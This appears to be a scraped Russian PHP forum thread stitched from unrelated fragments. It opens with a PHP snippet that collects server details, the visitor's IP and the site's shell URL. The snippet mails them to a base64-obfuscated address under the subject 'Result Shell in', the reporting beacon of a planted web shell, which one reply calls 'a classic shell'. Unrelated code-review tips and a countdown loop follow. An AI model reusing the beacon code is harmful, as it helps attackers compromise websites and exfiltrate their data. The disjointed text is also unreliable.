$web = $_SERVER["HTTP_HOST"];
$path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
$contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
$body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
mail("$contact","Result Shell in [http://$web]", "$body");
классический шел. как минимум. try {
if(! file_exists($file)) {
throw new Exception('file not exist');
}
} catch (Exception $e) {
echo $e->getMessage();
exit;
}
не имеет смысла, поскольку спокойно сокращается доif(! file_exists($file)) {
exit('file not exist');
}
dirname(__FILE__)
прекрасно заменяется на __DIR__
""" – ошибка, должно быть "\"" или '"'
"\" – ошибка, должно быть "\\"
и все такое
echo $value['tarif'];
print_r(json_decode($value['tarif'], true));
define("ROOT", dirname(__DIR__));
define("PATH", $app_path);
https://www.php.net/manual/ru/function.define.php foreach(range(7, 1) as $i) {
echo "Осталось {$i} секунд";
switch($i) {
case($i >= 2 && $i <=4):
echo "ы";
break;
case($i == 1):
echo "а";
}
echo "...", PHP_EOL;
sleep(1);
}
echo "Готово!";